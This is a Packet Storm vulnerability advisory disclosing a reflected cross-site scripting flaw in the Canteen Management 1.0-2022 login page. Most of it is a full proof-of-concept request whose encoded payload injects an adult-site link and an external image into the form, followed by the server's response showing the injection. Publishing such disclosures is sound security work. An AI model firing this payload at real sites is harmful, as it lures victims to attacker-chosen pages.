what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Canteen Management 1.0-2022 Cross Site Scripting

Canteen Management 1.0-2022 Cross Site Scripting
Posted Oct 5, 2022
Authored by nu11secur1ty

Canteen Management version 1.0-2022 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | e458d8a49273df30cb443ba56b148013399d2b2e2d68fe4bf8b689343bae5ee8

Canteen Management 1.0-2022 Cross Site Scripting

Change Mirror Download
## Title: Canteen-Management-1.0-2022 suffers from XSS-Reflected
## Author: nu11secur1ty
## Date: 10.04.2022
## Vendor: https://www.mayurik.com/
## Software: https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/mayuri_k/2022/Canteen-Management/Docs/youthappam.zip?raw=true
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/Canteen-Management


## Description:
The Canteen-Management-1.0-2022 suffers from XSS-Reflected vulnerability.
The name of an arbitrarily supplied URL parameter is copied into the
value of an HTML tag attribute which is encapsulated in double
quotation marks.
The attacker can craft a very malicious HTTPS URL redirecting to a
very malicious URL. When the victim clicks into this crafted URL the
game will over for him.


STATUS: High vulnerability

[+]Payload REQUEST:

```HTML
GET /youthappam/login.php/lu555%22%3E%3Ca%20href=%22https://pornhub.com/%22%20target=%22_blank%22%20rel=%22noopener%20nofollow%20ugc%22%3E%20%3Cimg%20src=%22https://raw.githubusercontent.com/nu11secur1ty/XSSight/master/nu11secur1ty/images/IMG_0068.gif?token=GHSAT0AAAAAABXWGSKOH7MBFLEKF4M6Y3YCYYKADTQ&rs=1%22%20style=%22border:1px%20solid%20black;max-width:100%;%22%20alt=%22Photo%20of%20Byron%20Bay,%20one%20of%20Australia%27s%20best%20beaches!%22%3E%20%3C/a%3Emv2me
HTTP/1.1
Host: pwnedhost.com
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62
Safari/537.36
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="106", "Chromium";v="106"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0
```

[+]Payload RESPONSE:

```burp
HTTP/1.1 200 OK
Date: Tue, 04 Oct 2022 09:44:55 GMT
Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.6
X-Powered-By: PHP/8.1.6
Set-Cookie: PHPSESSID=m1teao9b0j86ep94m6v7ek7fe6; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 6140
Connection: close
Content-Type: text/html; charset=UTF-8

<link rel="stylesheet" href="assets/css/popup_style.css">
<style>
.footer1 {
position: fixed;
bottom: 0;
width: 100%;
color: #5c4ac7;
text-align: center;
}

</style>
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0,
user-scalable=0, minimal-ui">
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="description" content="">
<meta name="keywords" content="">
<meta name="author" content="">

<link rel="icon" type="image/png" sizes="16x16"
href="assets/uploadImage/Logo/favicon.png">





<style type="text/css">
@media print {
#printbtn {
display : none;
}
}
</style>
<title>Youthappam Canteen Management System - by Mayuri K.
Freelancer</title>

<link href="assets/css/lib/chartist/chartist.min.css" rel="stylesheet">
<link href="assets/css/lib/owl.carousel.min.css" rel="stylesheet" />
<link href="assets/css/lib/owl.theme.default.min.css" rel="stylesheet" />

<link href="assets/css/lib/bootstrap/bootstrap.min.css" rel="stylesheet">

<link href="assets/css/helper.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">
<link rel="stylesheet"
href="assets/css/lib/html5-editor/bootstrap-wysihtml5.css" />
<link href="assets/css/lib/calendar2/semantic.ui.min.css" rel="stylesheet">
<link href="assets/css/lib/calendar2/pignose.calendar.min.css"
rel="stylesheet">
<link href="assets/css/lib/sweetalert/sweetalert.css" rel="stylesheet">
<link href="assets/css/lib/datepicker/bootstrap-datepicker3.min.css"
rel="stylesheet">


<script type="text/javascript"
src="https://www.gstatic.com/charts/loader.js"></script>
<script type="text/javascript">
google.charts.load("current", {packages:["corechart"]});
google.charts.setOnLoadCallback(drawChart);
function drawChart() {
var data = google.visualization.arrayToDataTable([
['Food', 'Average sale per Day'],
['Masala dosa', 11],
['Chicken 65 ', 2],
['Karapu Boondi', 2],
['Bellam Gavvalu', 2],
['Gummadikaya Vadiyalu', 7]
]);

var options = {
title: 'Food Average Sale per Day',
pieHole: 0.4,
};

var chart = new
google.visualization.PieChart(document.getElementById('donutchart'));
chart.draw(data, options);
}
</script>
</head>

<body class="fix-header fix-sidebar">

<div id="page"></div>
<div id="loading"></div>





<div id="main-wrapper">
<div class="unix-login">

<div class="container-fluid" style="background-image:
url('assets/myimages/background.jpg');
background-color: #ffffff;background-size:cover">
<div class="row">
<div class="col-lg-4 ml-auto">
<div class="login-content">
<div class="login-form">
<center><img
src="./assets/uploadImage/Logo/logo.png" style="width:
100%;"></center><br>
<form
action="/youthappam/login.php/lu555"><a href="https:/pornhub.com/"
target="_blank" rel="noopener nofollow ugc"> <img
src="https:/raw.githubusercontent.com/nu11secur1ty/XSSight/master/nu11secur1ty/images/IMG_0068.gif"
method="post" id="loginForm">
<div class="form-group">

<input type="text"
name="username" id="username" class="form-control"
placeholder="Username" required="">

</div>
<div class="form-group">

<input type="password"
id="password" name="password" class="form-control"
placeholder="Password" required="">
</div>


<button type="submit" name="login"
class="f-w-600 btn btn-primary btn-flat m-b-30 m-t-30">Sign
in</button>

<!-- <div class="forgot-phone
text-right f-right">
<a href="#" class="text-right f-w-600"> Forgot Password?</a>
</div> -->

<div class="forgot-phone text-left f-left">
<a href = "mailto:mayuri.infospace@gmail.com?subject = Project
Development Requirement&body = I saw your projects. I want to develop
a project" class="text-right f-w-600"> Click here to contact me</a>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</div>




<script src="./assets/js/lib/jquery/jquery.min.js"></script>

<script src="./assets/js/lib/bootstrap/js/popper.min.js"></script>
<script src="./assets/js/lib/bootstrap/js/bootstrap.min.js"></script>

<script src="./assets/js/jquery.slimscroll.js"></script>

<script src="./assets/js/sidebarmenu.js"></script>

<script src="./assets/js/lib/sticky-kit-master/dist/sticky-kit.min.js"></script>

<script src="./assets/js/custom.min.js"></script>
<script>

function onReady(callback) {
var intervalID = window.setInterval(checkReady, 1000);
function checkReady() {
if (document.getElementsByTagName('body')[0] !== undefined) {
window.clearInterval(intervalID);
callback.call(this);
}
}
}

function show(id, value) {
document.getElementById(id).style.display = value ? 'block' : 'none';
}

onReady(function () {
show('page', true);
show('loading', false);
});
</script>
</body>

</html>
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/edit/main/vendors/mayuri_k/2022/Canteen-Management)

## Proof and Exploit:
[href](https://streamable.com/emg0zo)

## More:
[href](https://www.nu11secur1ty.com/)



Done:


На вт, 4.10.2022 г. в 23:24 ч. nu11 secur1ty <nu11secur1typentest@gmail.com>
написа:

> Tomorow I will send to you. BR
>
> On Tue, Oct 4, 2022, 19:11 Packet Storm <packet@packetstormsecurity.com>
> wrote:
>
>> Missing submission
>>
>> On Tue, Oct 04, 2022 at 02:23:16PM +0300, nu11 secur1ty wrote:
>> >
>> https://www.nu11secur1ty.com/2022/10/example-of-professional-penetration.html
>> >
>> https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/Canteen-Management
>> > --
>> > System Administrator - Infrastructure Engineer
>> > Penetration Testing Engineer
>> > Exploit developer at https://packetstormsecurity.com/
>> > https://cve.mitre.org/index.html and https://www.exploit-db.com/
>> > home page: https://www.nu11secur1ty.com/
>> > hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
>> > nu11secur1ty <http://nu11secur1ty.com/>
>>
>

--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>
Login or Register to add favorites

File Archive:

February 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    11 Files
  • 2
    Feb 2nd
    0 Files
  • 3
    Feb 3rd
    0 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    0 Files
  • 6
    Feb 6th
    0 Files
  • 7
    Feb 7th
    0 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close